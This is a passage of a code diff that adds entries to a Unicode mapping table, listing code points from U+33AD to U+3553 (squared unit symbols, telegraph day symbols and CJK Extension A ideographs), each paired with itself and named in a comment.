+ ["\u33AD", "\u33AD"], /* SQUARE RAD (SQUARED RAD) */
+ ["\u33AE", "\u33AE"], /* SQUARE RAD OVER S (SQUARED RAD OVER S) */
+ ["\u33AF", "\u33AF"], /* SQUARE RAD OVER S SQUARED (SQUARED RAD OVER S SQUARED) */
+ ["\u33B0", "\u33B0"], /* SQUARE PS (SQUARED PS) */
+ ["\u33B1", "\u33B1"], /* SQUARE NS (SQUARED NS) */
+ ["\u33B2", "\u33B2"], /* SQUARE MU S (SQUARED MU S) */
+ ["\u33B3", "\u33B3"], /* SQUARE MS (SQUARED MS) */
+ ["\u33B4", "\u33B4"], /* SQUARE PV (SQUARED PV) */
+ ["\u33B5", "\u33B5"], /* SQUARE NV (SQUARED NV) */
+ ["\u33B6", "\u33B6"], /* SQUARE MU V (SQUARED MU V) */
+ ["\u33B7", "\u33B7"], /* SQUARE MV (SQUARED MV) */
+ ["\u33B8", "\u33B8"], /* SQUARE KV (SQUARED KV) */
+ ["\u33B9", "\u33B9"], /* SQUARE MV MEGA (SQUARED MV MEGA) */
+ ["\u33BA", "\u33BA"], /* SQUARE PW (SQUARED PW) */
+ ["\u33BB", "\u33BB"], /* SQUARE NW (SQUARED NW) */
+ ["\u33BC", "\u33BC"], /* SQUARE MU W (SQUARED MU W) */
+ ["\u33BD", "\u33BD"], /* SQUARE MW (SQUARED MW) */
+ ["\u33BE", "\u33BE"], /* SQUARE KW (SQUARED KW) */
+ ["\u33BF", "\u33BF"], /* SQUARE MW MEGA (SQUARED MW MEGA) */
+ ["\u33C0", "\u33C0"], /* SQUARE K OHM (SQUARED K OHM) */
+ ["\u33C1", "\u33C1"], /* SQUARE M OHM (SQUARED M OHM) */
+ ["\u33C2", "\u33C2"], /* SQUARE AM (SQUARED AM) */
+ ["\u33C3", "\u33C3"], /* SQUARE BQ (SQUARED BQ) */
+ ["\u33C4", "\u33C4"], /* SQUARE CC (SQUARED CC) */
+ ["\u33C5", "\u33C5"], /* SQUARE CD (SQUARED CD) */
+ ["\u33C6", "\u33C6"], /* SQUARE C OVER KG (SQUARED C OVER KG) */
+ ["\u33C7", "\u33C7"], /* SQUARE CO (SQUARED CO) */
+ ["\u33C8", "\u33C8"], /* SQUARE DB (SQUARED DB) */
+ ["\u33C9", "\u33C9"], /* SQUARE GY (SQUARED GY) */
+ ["\u33CA", "\u33CA"], /* SQUARE HA (SQUARED HA) */
+ ["\u33CB", "\u33CB"], /* SQUARE HP (SQUARED HP) */
+ ["\u33CC", "\u33CC"], /* SQUARE IN (SQUARED IN) */
+ ["\u33CD", "\u33CD"], /* SQUARE KK (SQUARED KK) */
+ ["\u33CE", "\u33CE"], /* SQUARE KM CAPITAL (SQUARED KM CAPITAL) */
+ ["\u33CF", "\u33CF"], /* SQUARE KT (SQUARED KT) */
+ ["\u33D0", "\u33D0"], /* SQUARE LM (SQUARED LM) */
+ ["\u33D1", "\u33D1"], /* SQUARE LN (SQUARED LN) */
+ ["\u33D2", "\u33D2"], /* SQUARE LOG (SQUARED LOG) */
+ ["\u33D3", "\u33D3"], /* SQUARE LX (SQUARED LX) */
+ ["\u33D4", "\u33D4"], /* SQUARE MB SMALL (SQUARED MB SMALL) */
+ ["\u33D5", "\u33D5"], /* SQUARE MIL (SQUARED MIL) */
+ ["\u33D6", "\u33D6"], /* SQUARE MOL (SQUARED MOL) */
+ ["\u33D7", "\u33D7"], /* SQUARE PH (SQUARED PH) */
+ ["\u33D8", "\u33D8"], /* SQUARE PM (SQUARED PM) */
+ ["\u33D9", "\u33D9"], /* SQUARE PPM (SQUARED PPM) */
+ ["\u33DA", "\u33DA"], /* SQUARE PR (SQUARED PR) */
+ ["\u33DB", "\u33DB"], /* SQUARE SR (SQUARED SR) */
+ ["\u33DC", "\u33DC"], /* SQUARE SV (SQUARED SV) */
+ ["\u33DD", "\u33DD"], /* SQUARE WB (SQUARED WB) */
+ ["\u33DE", "\u33DE"], /* SQUARE V OVER M */
+ ["\u33DF", "\u33DF"], /* SQUARE A OVER M */
+ ["\u33E0", "\u33E0"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE */
+ ["\u33E1", "\u33E1"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO */
+ ["\u33E2", "\u33E2"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE */
+ ["\u33E3", "\u33E3"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR */
+ ["\u33E4", "\u33E4"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE */
+ ["\u33E5", "\u33E5"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX */
+ ["\u33E6", "\u33E6"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN */
+ ["\u33E7", "\u33E7"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT */
+ ["\u33E8", "\u33E8"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE */
+ ["\u33E9", "\u33E9"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN */
+ ["\u33EA", "\u33EA"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN */
+ ["\u33EB", "\u33EB"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE */
+ ["\u33EC", "\u33EC"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN */
+ ["\u33ED", "\u33ED"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN */
+ ["\u33EE", "\u33EE"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN */
+ ["\u33EF", "\u33EF"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN */
+ ["\u33F0", "\u33F0"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN */
+ ["\u33F1", "\u33F1"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN */
+ ["\u33F2", "\u33F2"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN */
+ ["\u33F3", "\u33F3"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY */
+ ["\u33F4", "\u33F4"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE */
+ ["\u33F5", "\u33F5"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO */
+ ["\u33F6", "\u33F6"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE */
+ ["\u33F7", "\u33F7"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR */
+ ["\u33F8", "\u33F8"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE */
+ ["\u33F9", "\u33F9"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX */
+ ["\u33FA", "\u33FA"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN */
+ ["\u33FB", "\u33FB"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT */
+ ["\u33FC", "\u33FC"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE */
+ ["\u33FD", "\u33FD"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY */
+ ["\u33FE", "\u33FE"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE */
+ ["\u33FF", "\u33FF"], /* SQUARE GAL */
+ ["\u3400", "\u3400"], /* CJK Ideograph Extension A */
+ ["\u3401", "\u3401"], /* CJK Ideograph Extension A */
+ ["\u3402", "\u3402"], /* CJK Ideograph Extension A */
+ ["\u3403", "\u3403"], /* CJK Ideograph Extension A */
+ ["\u3404", "\u3404"], /* CJK Ideograph Extension A */
+ ["\u3405", "\u3405"], /* CJK Ideograph Extension A */
+ ["\u3406", "\u3406"], /* CJK Ideograph Extension A */
+ ["\u3407", "\u3407"], /* CJK Ideograph Extension A */
+ ["\u3408", "\u3408"], /* CJK Ideograph Extension A */
+ ["\u3409", "\u3409"], /* CJK Ideograph Extension A */
+ ["\u340A", "\u340A"], /* CJK Ideograph Extension A */
+ ["\u340B", "\u340B"], /* CJK Ideograph Extension A */
+ ["\u340C", "\u340C"], /* CJK Ideograph Extension A */
+ ["\u340D", "\u340D"], /* CJK Ideograph Extension A */
+ ["\u340E", "\u340E"], /* CJK Ideograph Extension A */
+ ["\u340F", "\u340F"], /* CJK Ideograph Extension A */
+ ["\u3410", "\u3410"], /* CJK Ideograph Extension A */
+ ["\u3411", "\u3411"], /* CJK Ideograph Extension A */
+ ["\u3412", "\u3412"], /* CJK Ideograph Extension A */
+ ["\u3413", "\u3413"], /* CJK Ideograph Extension A */
+ ["\u3414", "\u3414"], /* CJK Ideograph Extension A */
+ ["\u3415", "\u3415"], /* CJK Ideograph Extension A */
+ ["\u3416", "\u3416"], /* CJK Ideograph Extension A */
+ ["\u3417", "\u3417"], /* CJK Ideograph Extension A */
+ ["\u3418", "\u3418"], /* CJK Ideograph Extension A */
+ ["\u3419", "\u3419"], /* CJK Ideograph Extension A */
+ ["\u341A", "\u341A"], /* CJK Ideograph Extension A */
+ ["\u341B", "\u341B"], /* CJK Ideograph Extension A */
+ ["\u341C", "\u341C"], /* CJK Ideograph Extension A */
+ ["\u341D", "\u341D"], /* CJK Ideograph Extension A */
+ ["\u341E", "\u341E"], /* CJK Ideograph Extension A */
+ ["\u341F", "\u341F"], /* CJK Ideograph Extension A */
+ ["\u3420", "\u3420"], /* CJK Ideograph Extension A */
+ ["\u3421", "\u3421"], /* CJK Ideograph Extension A */
+ ["\u3422", "\u3422"], /* CJK Ideograph Extension A */
+ ["\u3423", "\u3423"], /* CJK Ideograph Extension A */
+ ["\u3424", "\u3424"], /* CJK Ideograph Extension A */
+ ["\u3425", "\u3425"], /* CJK Ideograph Extension A */
+ ["\u3426", "\u3426"], /* CJK Ideograph Extension A */
+ ["\u3427", "\u3427"], /* CJK Ideograph Extension A */
+ ["\u3428", "\u3428"], /* CJK Ideograph Extension A */
+ ["\u3429", "\u3429"], /* CJK Ideograph Extension A */
+ ["\u342A", "\u342A"], /* CJK Ideograph Extension A */
+ ["\u342B", "\u342B"], /* CJK Ideograph Extension A */
+ ["\u342C", "\u342C"], /* CJK Ideograph Extension A */
+ ["\u342D", "\u342D"], /* CJK Ideograph Extension A */
+ ["\u342E", "\u342E"], /* CJK Ideograph Extension A */
+ ["\u342F", "\u342F"], /* CJK Ideograph Extension A */
+ ["\u3430", "\u3430"], /* CJK Ideograph Extension A */
+ ["\u3431", "\u3431"], /* CJK Ideograph Extension A */
+ ["\u3432", "\u3432"], /* CJK Ideograph Extension A */
+ ["\u3433", "\u3433"], /* CJK Ideograph Extension A */
+ ["\u3434", "\u3434"], /* CJK Ideograph Extension A */
+ ["\u3435", "\u3435"], /* CJK Ideograph Extension A */
+ ["\u3436", "\u3436"], /* CJK Ideograph Extension A */
+ ["\u3437", "\u3437"], /* CJK Ideograph Extension A */
+ ["\u3438", "\u3438"], /* CJK Ideograph Extension A */
+ ["\u3439", "\u3439"], /* CJK Ideograph Extension A */
+ ["\u343A", "\u343A"], /* CJK Ideograph Extension A */
+ ["\u343B", "\u343B"], /* CJK Ideograph Extension A */
+ ["\u343C", "\u343C"], /* CJK Ideograph Extension A */
+ ["\u343D", "\u343D"], /* CJK Ideograph Extension A */
+ ["\u343E", "\u343E"], /* CJK Ideograph Extension A */
+ ["\u343F", "\u343F"], /* CJK Ideograph Extension A */
+ ["\u3440", "\u3440"], /* CJK Ideograph Extension A */
+ ["\u3441", "\u3441"], /* CJK Ideograph Extension A */
+ ["\u3442", "\u3442"], /* CJK Ideograph Extension A */
+ ["\u3443", "\u3443"], /* CJK Ideograph Extension A */
+ ["\u3444", "\u3444"], /* CJK Ideograph Extension A */
+ ["\u3445", "\u3445"], /* CJK Ideograph Extension A */
+ ["\u3446", "\u3446"], /* CJK Ideograph Extension A */
+ ["\u3447", "\u3447"], /* CJK Ideograph Extension A */
+ ["\u3448", "\u3448"], /* CJK Ideograph Extension A */
+ ["\u3449", "\u3449"], /* CJK Ideograph Extension A */
+ ["\u344A", "\u344A"], /* CJK Ideograph Extension A */
+ ["\u344B", "\u344B"], /* CJK Ideograph Extension A */
+ ["\u344C", "\u344C"], /* CJK Ideograph Extension A */
+ ["\u344D", "\u344D"], /* CJK Ideograph Extension A */
+ ["\u344E", "\u344E"], /* CJK Ideograph Extension A */
+ ["\u344F", "\u344F"], /* CJK Ideograph Extension A */
+ ["\u3450", "\u3450"], /* CJK Ideograph Extension A */
+ ["\u3451", "\u3451"], /* CJK Ideograph Extension A */
+ ["\u3452", "\u3452"], /* CJK Ideograph Extension A */
+ ["\u3453", "\u3453"], /* CJK Ideograph Extension A */
+ ["\u3454", "\u3454"], /* CJK Ideograph Extension A */
+ ["\u3455", "\u3455"], /* CJK Ideograph Extension A */
+ ["\u3456", "\u3456"], /* CJK Ideograph Extension A */
+ ["\u3457", "\u3457"], /* CJK Ideograph Extension A */
+ ["\u3458", "\u3458"], /* CJK Ideograph Extension A */
+ ["\u3459", "\u3459"], /* CJK Ideograph Extension A */
+ ["\u345A", "\u345A"], /* CJK Ideograph Extension A */
+ ["\u345B", "\u345B"], /* CJK Ideograph Extension A */
+ ["\u345C", "\u345C"], /* CJK Ideograph Extension A */
+ ["\u345D", "\u345D"], /* CJK Ideograph Extension A */
+ ["\u345E", "\u345E"], /* CJK Ideograph Extension A */
+ ["\u345F", "\u345F"], /* CJK Ideograph Extension A */
+ ["\u3460", "\u3460"], /* CJK Ideograph Extension A */
+ ["\u3461", "\u3461"], /* CJK Ideograph Extension A */
+ ["\u3462", "\u3462"], /* CJK Ideograph Extension A */
+ ["\u3463", "\u3463"], /* CJK Ideograph Extension A */
+ ["\u3464", "\u3464"], /* CJK Ideograph Extension A */
+ ["\u3465", "\u3465"], /* CJK Ideograph Extension A */
+ ["\u3466", "\u3466"], /* CJK Ideograph Extension A */
+ ["\u3467", "\u3467"], /* CJK Ideograph Extension A */
+ ["\u3468", "\u3468"], /* CJK Ideograph Extension A */
+ ["\u3469", "\u3469"], /* CJK Ideograph Extension A */
+ ["\u346A", "\u346A"], /* CJK Ideograph Extension A */
+ ["\u346B", "\u346B"], /* CJK Ideograph Extension A */
+ ["\u346C", "\u346C"], /* CJK Ideograph Extension A */
+ ["\u346D", "\u346D"], /* CJK Ideograph Extension A */
+ ["\u346E", "\u346E"], /* CJK Ideograph Extension A */
+ ["\u346F", "\u346F"], /* CJK Ideograph Extension A */
+ ["\u3470", "\u3470"], /* CJK Ideograph Extension A */
+ ["\u3471", "\u3471"], /* CJK Ideograph Extension A */
+ ["\u3472", "\u3472"], /* CJK Ideograph Extension A */
+ ["\u3473", "\u3473"], /* CJK Ideograph Extension A */
+ ["\u3474", "\u3474"], /* CJK Ideograph Extension A */
+ ["\u3475", "\u3475"], /* CJK Ideograph Extension A */
+ ["\u3476", "\u3476"], /* CJK Ideograph Extension A */
+ ["\u3477", "\u3477"], /* CJK Ideograph Extension A */
+ ["\u3478", "\u3478"], /* CJK Ideograph Extension A */
+ ["\u3479", "\u3479"], /* CJK Ideograph Extension A */
+ ["\u347A", "\u347A"], /* CJK Ideograph Extension A */
+ ["\u347B", "\u347B"], /* CJK Ideograph Extension A */
+ ["\u347C", "\u347C"], /* CJK Ideograph Extension A */
+ ["\u347D", "\u347D"], /* CJK Ideograph Extension A */
+ ["\u347E", "\u347E"], /* CJK Ideograph Extension A */
+ ["\u347F", "\u347F"], /* CJK Ideograph Extension A */
+ ["\u3480", "\u3480"], /* CJK Ideograph Extension A */
+ ["\u3481", "\u3481"], /* CJK Ideograph Extension A */
+ ["\u3482", "\u3482"], /* CJK Ideograph Extension A */
+ ["\u3483", "\u3483"], /* CJK Ideograph Extension A */
+ ["\u3484", "\u3484"], /* CJK Ideograph Extension A */
+ ["\u3485", "\u3485"], /* CJK Ideograph Extension A */
+ ["\u3486", "\u3486"], /* CJK Ideograph Extension A */
+ ["\u3487", "\u3487"], /* CJK Ideograph Extension A */
+ ["\u3488", "\u3488"], /* CJK Ideograph Extension A */
+ ["\u3489", "\u3489"], /* CJK Ideograph Extension A */
+ ["\u348A", "\u348A"], /* CJK Ideograph Extension A */
+ ["\u348B", "\u348B"], /* CJK Ideograph Extension A */
+ ["\u348C", "\u348C"], /* CJK Ideograph Extension A */
+ ["\u348D", "\u348D"], /* CJK Ideograph Extension A */
+ ["\u348E", "\u348E"], /* CJK Ideograph Extension A */
+ ["\u348F", "\u348F"], /* CJK Ideograph Extension A */
+ ["\u3490", "\u3490"], /* CJK Ideograph Extension A */
+ ["\u3491", "\u3491"], /* CJK Ideograph Extension A */
+ ["\u3492", "\u3492"], /* CJK Ideograph Extension A */
+ ["\u3493", "\u3493"], /* CJK Ideograph Extension A */
+ ["\u3494", "\u3494"], /* CJK Ideograph Extension A */
+ ["\u3495", "\u3495"], /* CJK Ideograph Extension A */
+ ["\u3496", "\u3496"], /* CJK Ideograph Extension A */
+ ["\u3497", "\u3497"], /* CJK Ideograph Extension A */
+ ["\u3498", "\u3498"], /* CJK Ideograph Extension A */
+ ["\u3499", "\u3499"], /* CJK Ideograph Extension A */
+ ["\u349A", "\u349A"], /* CJK Ideograph Extension A */
+ ["\u349B", "\u349B"], /* CJK Ideograph Extension A */
+ ["\u349C", "\u349C"], /* CJK Ideograph Extension A */
+ ["\u349D", "\u349D"], /* CJK Ideograph Extension A */
+ ["\u349E", "\u349E"], /* CJK Ideograph Extension A */
+ ["\u349F", "\u349F"], /* CJK Ideograph Extension A */
+ ["\u34A0", "\u34A0"], /* CJK Ideograph Extension A */
+ ["\u34A1", "\u34A1"], /* CJK Ideograph Extension A */
+ ["\u34A2", "\u34A2"], /* CJK Ideograph Extension A */
+ ["\u34A3", "\u34A3"], /* CJK Ideograph Extension A */
+ ["\u34A4", "\u34A4"], /* CJK Ideograph Extension A */
+ ["\u34A5", "\u34A5"], /* CJK Ideograph Extension A */
+ ["\u34A6", "\u34A6"], /* CJK Ideograph Extension A */
+ ["\u34A7", "\u34A7"], /* CJK Ideograph Extension A */
+ ["\u34A8", "\u34A8"], /* CJK Ideograph Extension A */
+ ["\u34A9", "\u34A9"], /* CJK Ideograph Extension A */
+ ["\u34AA", "\u34AA"], /* CJK Ideograph Extension A */
+ ["\u34AB", "\u34AB"], /* CJK Ideograph Extension A */
+ ["\u34AC", "\u34AC"], /* CJK Ideograph Extension A */
+ ["\u34AD", "\u34AD"], /* CJK Ideograph Extension A */
+ ["\u34AE", "\u34AE"], /* CJK Ideograph Extension A */
+ ["\u34AF", "\u34AF"], /* CJK Ideograph Extension A */
+ ["\u34B0", "\u34B0"], /* CJK Ideograph Extension A */
+ ["\u34B1", "\u34B1"], /* CJK Ideograph Extension A */
+ ["\u34B2", "\u34B2"], /* CJK Ideograph Extension A */
+ ["\u34B3", "\u34B3"], /* CJK Ideograph Extension A */
+ ["\u34B4", "\u34B4"], /* CJK Ideograph Extension A */
+ ["\u34B5", "\u34B5"], /* CJK Ideograph Extension A */
+ ["\u34B6", "\u34B6"], /* CJK Ideograph Extension A */
+ ["\u34B7", "\u34B7"], /* CJK Ideograph Extension A */
+ ["\u34B8", "\u34B8"], /* CJK Ideograph Extension A */
+ ["\u34B9", "\u34B9"], /* CJK Ideograph Extension A */
+ ["\u34BA", "\u34BA"], /* CJK Ideograph Extension A */
+ ["\u34BB", "\u34BB"], /* CJK Ideograph Extension A */
+ ["\u34BC", "\u34BC"], /* CJK Ideograph Extension A */
+ ["\u34BD", "\u34BD"], /* CJK Ideograph Extension A */
+ ["\u34BE", "\u34BE"], /* CJK Ideograph Extension A */
+ ["\u34BF", "\u34BF"], /* CJK Ideograph Extension A */
+ ["\u34C0", "\u34C0"], /* CJK Ideograph Extension A */
+ ["\u34C1", "\u34C1"], /* CJK Ideograph Extension A */
+ ["\u34C2", "\u34C2"], /* CJK Ideograph Extension A */
+ ["\u34C3", "\u34C3"], /* CJK Ideograph Extension A */
+ ["\u34C4", "\u34C4"], /* CJK Ideograph Extension A */
+ ["\u34C5", "\u34C5"], /* CJK Ideograph Extension A */
+ ["\u34C6", "\u34C6"], /* CJK Ideograph Extension A */
+ ["\u34C7", "\u34C7"], /* CJK Ideograph Extension A */
+ ["\u34C8", "\u34C8"], /* CJK Ideograph Extension A */
+ ["\u34C9", "\u34C9"], /* CJK Ideograph Extension A */
+ ["\u34CA", "\u34CA"], /* CJK Ideograph Extension A */
+ ["\u34CB", "\u34CB"], /* CJK Ideograph Extension A */
+ ["\u34CC", "\u34CC"], /* CJK Ideograph Extension A */
+ ["\u34CD", "\u34CD"], /* CJK Ideograph Extension A */
+ ["\u34CE", "\u34CE"], /* CJK Ideograph Extension A */
+ ["\u34CF", "\u34CF"], /* CJK Ideograph Extension A */
+ ["\u34D0", "\u34D0"], /* CJK Ideograph Extension A */
+ ["\u34D1", "\u34D1"], /* CJK Ideograph Extension A */
+ ["\u34D2", "\u34D2"], /* CJK Ideograph Extension A */
+ ["\u34D3", "\u34D3"], /* CJK Ideograph Extension A */
+ ["\u34D4", "\u34D4"], /* CJK Ideograph Extension A */
+ ["\u34D5", "\u34D5"], /* CJK Ideograph Extension A */
+ ["\u34D6", "\u34D6"], /* CJK Ideograph Extension A */
+ ["\u34D7", "\u34D7"], /* CJK Ideograph Extension A */
+ ["\u34D8", "\u34D8"], /* CJK Ideograph Extension A */
+ ["\u34D9", "\u34D9"], /* CJK Ideograph Extension A */
+ ["\u34DA", "\u34DA"], /* CJK Ideograph Extension A */
+ ["\u34DB", "\u34DB"], /* CJK Ideograph Extension A */
+ ["\u34DC", "\u34DC"], /* CJK Ideograph Extension A */
+ ["\u34DD", "\u34DD"], /* CJK Ideograph Extension A */
+ ["\u34DE", "\u34DE"], /* CJK Ideograph Extension A */
+ ["\u34DF", "\u34DF"], /* CJK Ideograph Extension A */
+ ["\u34E0", "\u34E0"], /* CJK Ideograph Extension A */
+ ["\u34E1", "\u34E1"], /* CJK Ideograph Extension A */
+ ["\u34E2", "\u34E2"], /* CJK Ideograph Extension A */
+ ["\u34E3", "\u34E3"], /* CJK Ideograph Extension A */
+ ["\u34E4", "\u34E4"], /* CJK Ideograph Extension A */
+ ["\u34E5", "\u34E5"], /* CJK Ideograph Extension A */
+ ["\u34E6", "\u34E6"], /* CJK Ideograph Extension A */
+ ["\u34E7", "\u34E7"], /* CJK Ideograph Extension A */
+ ["\u34E8", "\u34E8"], /* CJK Ideograph Extension A */
+ ["\u34E9", "\u34E9"], /* CJK Ideograph Extension A */
+ ["\u34EA", "\u34EA"], /* CJK Ideograph Extension A */
+ ["\u34EB", "\u34EB"], /* CJK Ideograph Extension A */
+ ["\u34EC", "\u34EC"], /* CJK Ideograph Extension A */
+ ["\u34ED", "\u34ED"], /* CJK Ideograph Extension A */
+ ["\u34EE", "\u34EE"], /* CJK Ideograph Extension A */
+ ["\u34EF", "\u34EF"], /* CJK Ideograph Extension A */
+ ["\u34F0", "\u34F0"], /* CJK Ideograph Extension A */
+ ["\u34F1", "\u34F1"], /* CJK Ideograph Extension A */
+ ["\u34F2", "\u34F2"], /* CJK Ideograph Extension A */
+ ["\u34F3", "\u34F3"], /* CJK Ideograph Extension A */
+ ["\u34F4", "\u34F4"], /* CJK Ideograph Extension A */
+ ["\u34F5", "\u34F5"], /* CJK Ideograph Extension A */
+ ["\u34F6", "\u34F6"], /* CJK Ideograph Extension A */
+ ["\u34F7", "\u34F7"], /* CJK Ideograph Extension A */
+ ["\u34F8", "\u34F8"], /* CJK Ideograph Extension A */
+ ["\u34F9", "\u34F9"], /* CJK Ideograph Extension A */
+ ["\u34FA", "\u34FA"], /* CJK Ideograph Extension A */
+ ["\u34FB", "\u34FB"], /* CJK Ideograph Extension A */
+ ["\u34FC", "\u34FC"], /* CJK Ideograph Extension A */
+ ["\u34FD", "\u34FD"], /* CJK Ideograph Extension A */
+ ["\u34FE", "\u34FE"], /* CJK Ideograph Extension A */
+ ["\u34FF", "\u34FF"], /* CJK Ideograph Extension A */
+ ["\u3500", "\u3500"], /* CJK Ideograph Extension A */
+ ["\u3501", "\u3501"], /* CJK Ideograph Extension A */
+ ["\u3502", "\u3502"], /* CJK Ideograph Extension A */
+ ["\u3503", "\u3503"], /* CJK Ideograph Extension A */
+ ["\u3504", "\u3504"], /* CJK Ideograph Extension A */
+ ["\u3505", "\u3505"], /* CJK Ideograph Extension A */
+ ["\u3506", "\u3506"], /* CJK Ideograph Extension A */
+ ["\u3507", "\u3507"], /* CJK Ideograph Extension A */
+ ["\u3508", "\u3508"], /* CJK Ideograph Extension A */
+ ["\u3509", "\u3509"], /* CJK Ideograph Extension A */
+ ["\u350A", "\u350A"], /* CJK Ideograph Extension A */
+ ["\u350B", "\u350B"], /* CJK Ideograph Extension A */
+ ["\u350C", "\u350C"], /* CJK Ideograph Extension A */
+ ["\u350D", "\u350D"], /* CJK Ideograph Extension A */
+ ["\u350E", "\u350E"], /* CJK Ideograph Extension A */
+ ["\u350F", "\u350F"], /* CJK Ideograph Extension A */
+ ["\u3510", "\u3510"], /* CJK Ideograph Extension A */
+ ["\u3511", "\u3511"], /* CJK Ideograph Extension A */
+ ["\u3512", "\u3512"], /* CJK Ideograph Extension A */
+ ["\u3513", "\u3513"], /* CJK Ideograph Extension A */
+ ["\u3514", "\u3514"], /* CJK Ideograph Extension A */
+ ["\u3515", "\u3515"], /* CJK Ideograph Extension A */
+ ["\u3516", "\u3516"], /* CJK Ideograph Extension A */
+ ["\u3517", "\u3517"], /* CJK Ideograph Extension A */
+ ["\u3518", "\u3518"], /* CJK Ideograph Extension A */
+ ["\u3519", "\u3519"], /* CJK Ideograph Extension A */
+ ["\u351A", "\u351A"], /* CJK Ideograph Extension A */
+ ["\u351B", "\u351B"], /* CJK Ideograph Extension A */
+ ["\u351C", "\u351C"], /* CJK Ideograph Extension A */
+ ["\u351D", "\u351D"], /* CJK Ideograph Extension A */
+ ["\u351E", "\u351E"], /* CJK Ideograph Extension A */
+ ["\u351F", "\u351F"], /* CJK Ideograph Extension A */
+ ["\u3520", "\u3520"], /* CJK Ideograph Extension A */
+ ["\u3521", "\u3521"], /* CJK Ideograph Extension A */
+ ["\u3522", "\u3522"], /* CJK Ideograph Extension A */
+ ["\u3523", "\u3523"], /* CJK Ideograph Extension A */
+ ["\u3524", "\u3524"], /* CJK Ideograph Extension A */
+ ["\u3525", "\u3525"], /* CJK Ideograph Extension A */
+ ["\u3526", "\u3526"], /* CJK Ideograph Extension A */
+ ["\u3527", "\u3527"], /* CJK Ideograph Extension A */
+ ["\u3528", "\u3528"], /* CJK Ideograph Extension A */
+ ["\u3529", "\u3529"], /* CJK Ideograph Extension A */
+ ["\u352A", "\u352A"], /* CJK Ideograph Extension A */
+ ["\u352B", "\u352B"], /* CJK Ideograph Extension A */
+ ["\u352C", "\u352C"], /* CJK Ideograph Extension A */
+ ["\u352D", "\u352D"], /* CJK Ideograph Extension A */
+ ["\u352E", "\u352E"], /* CJK Ideograph Extension A */
+ ["\u352F", "\u352F"], /* CJK Ideograph Extension A */
+ ["\u3530", "\u3530"], /* CJK Ideograph Extension A */
+ ["\u3531", "\u3531"], /* CJK Ideograph Extension A */
+ ["\u3532", "\u3532"], /* CJK Ideograph Extension A */
+ ["\u3533", "\u3533"], /* CJK Ideograph Extension A */
+ ["\u3534", "\u3534"], /* CJK Ideograph Extension A */
+ ["\u3535", "\u3535"], /* CJK Ideograph Extension A */
+ ["\u3536", "\u3536"], /* CJK Ideograph Extension A */
+ ["\u3537", "\u3537"], /* CJK Ideograph Extension A */
+ ["\u3538", "\u3538"], /* CJK Ideograph Extension A */
+ ["\u3539", "\u3539"], /* CJK Ideograph Extension A */
+ ["\u353A", "\u353A"], /* CJK Ideograph Extension A */
+ ["\u353B", "\u353B"], /* CJK Ideograph Extension A */
+ ["\u353C", "\u353C"], /* CJK Ideograph Extension A */
+ ["\u353D", "\u353D"], /* CJK Ideograph Extension A */
+ ["\u353E", "\u353E"], /* CJK Ideograph Extension A */
+ ["\u353F", "\u353F"], /* CJK Ideograph Extension A */
+ ["\u3540", "\u3540"], /* CJK Ideograph Extension A */
+ ["\u3541", "\u3541"], /* CJK Ideograph Extension A */
+ ["\u3542", "\u3542"], /* CJK Ideograph Extension A */
+ ["\u3543", "\u3543"], /* CJK Ideograph Extension A */
+ ["\u3544", "\u3544"], /* CJK Ideograph Extension A */
+ ["\u3545", "\u3545"], /* CJK Ideograph Extension A */
+ ["\u3546", "\u3546"], /* CJK Ideograph Extension A */
+ ["\u3547", "\u3547"], /* CJK Ideograph Extension A */
+ ["\u3548", "\u3548"], /* CJK Ideograph Extension A */
+ ["\u3549", "\u3549"], /* CJK Ideograph Extension A */
+ ["\u354A", "\u354A"], /* CJK Ideograph Extension A */
+ ["\u354B", "\u354B"], /* CJK Ideograph Extension A */
+ ["\u354C", "\u354C"], /* CJK Ideograph Extension A */
+ ["\u354D", "\u354D"], /* CJK Ideograph Extension A */
+ ["\u354E", "\u354E"], /* CJK Ideograph Extension A */
+ ["\u354F", "\u354F"], /* CJK Ideograph Extension A */
+ ["\u3550", "\u3550"], /* CJK Ideograph Extension A */
+ ["\u3551", "\u3551"], /* CJK Ideograph Extension A */
+ ["\u3552", "\u3552"], /* CJK Ideograph Extension A */
+ ["\u3553", "\u3553"], /* CJK Ideograph Extension A */
